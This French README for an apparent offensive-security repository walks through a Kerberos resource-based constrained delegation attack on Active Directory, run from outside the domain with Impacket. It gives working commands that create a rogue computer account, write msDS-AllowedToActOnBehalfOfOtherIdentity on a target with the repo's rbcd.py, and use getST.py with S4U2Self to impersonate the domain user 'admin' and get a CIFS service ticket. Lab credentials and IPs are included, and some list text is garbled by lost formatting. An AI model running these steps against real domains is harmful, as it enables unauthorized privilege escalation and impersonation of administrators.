
Attaque par délégation contrainte basée sur les ressources Kerberos depuis l'extérieur utilisant Impacket
Ce dépôt concerne une attaque pratique contre la délégation contrainte basée sur les ressources Kerberos dans un domaine Active Directory Windows.
La différence par rapport aux autres implémentations courantes est que nous lançons l'attaque depuis l'extérieur du domaine Windows, et non depuis un ordinateur joint au domaine (généralement Windows).
L'attaque est implémentée en utilisant uniquement Python3 Impacket (et ses dépendances). Testé sur Arch avec Impacket à jour (0.9.21 au moment de la rédaction).

En résumé, sans entrer dans les détails, l'attaque cible un ordinateur du domaine, plus précisément les principaux de service liés à l'ordinateur cible.
Ce dont nous avons besoin comme prérequis :
msDS-AllowedToActOnBehalfOfOtherIdentity de l'objet ordinateur cible du domaine)MachineAccountQuota)Le chemin de l'attaque à très haut niveau :
msDS-AllowedToActOnBehalfOfOtherIdentity de la cibleAvantage :
Les ensembles d'outils courants pour cette attaque fonctionnent sur un ordinateur Windows joint au domaine en utilisant :
msDS-AllowedToActOnBehalfOfOtherIdentityCette implémentation utilise purement Impacket depuis l'extérieur du domaine.
En utilisant l'exemple addcomputer.py d'Impacket, créons un faux ordinateur (appelé evilcomputer) :
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
Implémenté le script rbcd.py trouvé ici dans le dépôt, qui ajoute le descripteur de sécurité lié au nouvel EVILCOMPUTER à la propriété msDS-AllowedToActOnBehalfOfOtherIdentity de l'ordinateur cible.
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
Le script utilise massivement les classes Python de l'exemple ntlmrelayx.py d'Impacket. Pour obtenir de l'aide et un exemple, appelez le script sans options.
Maintenant, tout est prêt pour abuser de la délégation contrainte via une requête S4U2Self et obtenir un ticket de service usurpé pour l'ordinateur cible. Avec le script exemple getST.py d'Impacket :
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
La commande ci-dessus récupère un ticket de service CIFS au nom de l'utilisateur du domaine ciblé admin et le stocke dans le fichier admin.ccache.
Après avoir ajouté le chemin du fichier à la variable KRB5CCNAME, le ticket est utilisable pour les clients Kerberos.
export KRB5CCNAME=`pwd`/admin.ccache
klist
Pour plus de détails sur l'abus de la délégation contrainte basée sur les ressources :
Et l'une des présentations les plus complètes sur les attaques Kerberos :